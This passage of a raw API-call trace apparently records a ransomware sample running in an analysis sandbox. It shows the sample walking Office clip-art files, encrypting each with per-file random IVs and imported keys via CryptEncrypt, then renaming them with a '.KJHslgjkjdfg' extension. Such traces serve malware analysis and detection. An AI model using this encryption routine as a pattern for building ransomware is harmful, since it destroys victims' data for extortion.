liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.037] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3658, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3658, lpOverlapped=0x0) returned 1 [0206.043] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3660, dwBufLen=0x3660 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3660) returned 1 [0206.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.043] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3660, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3660, lpOverlapped=0x0) returned 1 [0206.043] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.043] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.043] SetEndOfFile (hFile=0x130) returned 1 [0206.046] GetProcessHeap () returned 0x2ef0000 [0206.046] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.046] GetProcessHeap () returned 0x2ef0000 [0206.046] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.kjhslgjkjdfg")) returned 1 [0206.048] CloseHandle (hObject=0x130) returned 1 [0206.048] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1 [0206.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.049] GetProcessHeap () returned 0x2ef0000 [0206.049] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.049] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.049] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0206.052] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.052] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.052] GetProcessHeap () returned 0x2ef0000 [0206.052] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.052] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.052] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.052] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.053] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.053] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.053] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.053] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.053] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.053] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.053] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b56, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b56, lpOverlapped=0x0) returned 1 [0206.055] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b60, dwBufLen=0x4b60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b60) returned 1 [0206.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.056] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4b60, lpOverlapped=0x0) returned 1 [0206.056] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.056] SetEndOfFile (hFile=0x130) returned 1 [0206.058] GetProcessHeap () returned 0x2ef0000 [0206.058] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.059] GetProcessHeap () returned 0x2ef0000 [0206.059] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.kjhslgjkjdfg")) returned 1 [0206.060] CloseHandle (hObject=0x130) returned 1 [0206.060] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1 [0206.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.061] GetProcessHeap () returned 0x2ef0000 [0206.061] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.061] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.061] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0206.063] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.063] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.063] GetProcessHeap () returned 0x2ef0000 [0206.063] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.063] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.064] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.064] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.064] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.064] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.064] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.064] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.064] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.064] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.064] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x12a6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x12a6, lpOverlapped=0x0) returned 1 [0206.065] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12b0, dwBufLen=0x12b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12b0) returned 1 [0206.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.065] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12b0, lpOverlapped=0x0) returned 1 [0206.065] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.066] SetEndOfFile (hFile=0x130) returned 1 [0206.068] GetProcessHeap () returned 0x2ef0000 [0206.068] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.068] GetProcessHeap () returned 0x2ef0000 [0206.068] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf.kjhslgjkjdfg")) returned 1 [0206.070] CloseHandle (hObject=0x130) returned 1 [0206.070] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1 [0206.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.072] GetProcessHeap () returned 0x2ef0000 [0206.072] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.072] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.072] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.074] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.074] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.074] GetProcessHeap () returned 0x2ef0000 [0206.074] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.074] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.074] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.074] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.074] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.074] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.075] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.075] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.075] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.075] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.075] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17be, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17be, lpOverlapped=0x0) returned 1 [0206.076] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17c0) returned 1 [0206.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.076] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17c0, lpOverlapped=0x0) returned 1 [0206.076] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.076] SetEndOfFile (hFile=0x130) returned 1 [0206.079] GetProcessHeap () returned 0x2ef0000 [0206.079] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.079] GetProcessHeap () returned 0x2ef0000 [0206.079] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.kjhslgjkjdfg")) returned 1 [0206.080] CloseHandle (hObject=0x130) returned 1 [0206.081] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1 [0206.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.082] GetProcessHeap () returned 0x2ef0000 [0206.082] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.082] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.082] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.084] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.085] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.085] GetProcessHeap () returned 0x2ef0000 [0206.085] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.085] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.085] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.085] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.085] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.085] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.085] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.085] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.085] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.085] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.085] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x37de, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x37de, lpOverlapped=0x0) returned 1 [0206.087] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x37e0, dwBufLen=0x37e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x37e0) returned 1 [0206.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.087] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x37e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x37e0, lpOverlapped=0x0) returned 1 [0206.087] 